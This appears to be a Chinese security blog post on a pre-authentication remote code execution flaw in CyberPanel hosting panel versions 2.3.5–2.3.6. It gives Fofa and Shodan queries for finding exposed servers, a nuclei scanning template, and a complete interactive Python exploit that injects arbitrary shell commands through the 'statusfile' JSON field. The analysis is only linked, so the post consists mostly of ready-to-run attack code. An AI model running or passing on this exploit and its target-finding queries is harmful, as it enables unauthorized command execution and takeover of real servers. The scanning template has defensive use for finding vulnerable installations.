介绍

CyberPanel 是一种基于 OpenLiteSpeed 和 LiteSpeed Web Server 构建的现代化开源主机控制面板(Hosting Control Panel)。

项目地址:https://github.com/usmannasir/cyberpanel/tree/stable

  • Fofa:body="ProjectSend"

  • shodan: html:"cyberpanel"

CyberPanel v2.3.6 Pre-Auth Remote Code Execution

影响版本

v2.3.5 <= CyberPanel <= v2.3.6

漏洞原理分析

请自行阅读以下这两篇文章,可以说是写的非常清楚了。

漏洞探测

可以使用nuclei进行扫描,以下是扫描模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
id: CyberPanel-v236-pre-auth-rce

info:
name: CyberPanel v2.3.6 Pre-Auth Remote Code Execution
author: 0or1zo
severity: high
description: CyberPanel v2.3.6 has a critical vulnerability that allows remote attackers to execute arbitrary commands on the server without prior authentication.
impact: Attackers can exploit this vulnerability by crafting malicious requests that bypass authentication controls, allowing them to inject and execute arbitrary commands on the underlying server.
reference:
- https://community.cyberpanel.net/t/cyberpanel-2-1-remote-code-execution-rce/31760
- https://furina.org.cn/2024/11/02/cyberpanel-2-3-6-rce/
metadata:
verified: true
max-request: 4
shodan-query: html:"cyberpanel"
fofa-query: app="Cyberpanel"
product: cyberpanel
tags: CyberPanel,pre-auth-rce

flow: http(1) && http(2)

http:
- method: GET
path:
- "{{BaseURL}}"

extractors:
- type: regex
part: header
name: csrftoken
group: 1
regex:
- csrftoken=(.*?);
internal: true

- method: PUT
headers:
X-CSRFToken: "{{csrftoken}}"
Content-Type: application/json
Referer: "{{BaseURL}}"
path:
- "{{BaseURL}}/dataBases/upgrademysqlstatus"
- "{{BaseURL}}/dns/getresetstatus"
- "{{BaseURL}}/ftp/getresetstatus"
body: '{"statusfile": "/dev/null; whoami; #","csrftoken": "{{csrftoken}}"}'

matchers-condition: and
matchers:
- type: word
part: body
words:
- "abort"
- "error_message"
- "requestStatus"
condition: and

- type: status
status:
- 200

stop-at-first-match: true

Exploit

快速交互式漏洞利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import argparse
import sys
import requests
import warnings
from urllib.parse import urljoin

warnings.filterwarnings('ignore', message='Unverified HTTPS request')

class CyberPanelExploit:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
})
self.csrf_token = None

def make_request(self, method, endpoint, **kwargs):
url = urljoin(self.target_url, endpoint)
kwargs.update({
'timeout': 30,
'verify': False,
'allow_redirects': False,
'proxies': {'http': 'http://127.0.0.1:8888', 'https': 'http://127.0.0.1:8888'}
})
try:
response = self.session.request(method, url, **kwargs)
if response and response.status_code == 200:
return response
else:
return None
except requests.exceptions.RequestException as e:
#print(f"Request failed: {str(e)}")
return None

def get_csrf_token(self):
response = self.make_request('GET', '/')
if response:
self.csrf_token = response.cookies.get('csrftoken')
if self.csrf_token:
return response.cookies.get('csrftoken')
print(f'Failed to extract CSRF token: {self.target_url}')
return None

def execute_commad(self, path, cmd):
headers = {
"X-CSRFToken": self.csrf_token,
"Content-Type": "application/json",
"Referer": str(self.target_url)
}
payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, self.csrf_token)
response = self.make_request('PUT', path, headers=headers, data=payload)
if response:
request_status = response.json().get("requestStatus", None)
return request_status
else:
#print("No request status found in the response.")
return None

def exploit(self):
csrf_token = self.get_csrf_token()
while True:
cmd = input("$> ")
if cmd == "exit":
return
result = self.execute_commad("/dns/getresetstatus", cmd)
print(result)

def main():
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="Target URL")
args = parser.parse_args()
try:
exploit = CyberPanelExploit(args.url)
exploit.exploit()
except KeyboardInterrupt:
sys.exit(0)

if __name__ == "__main__":
main()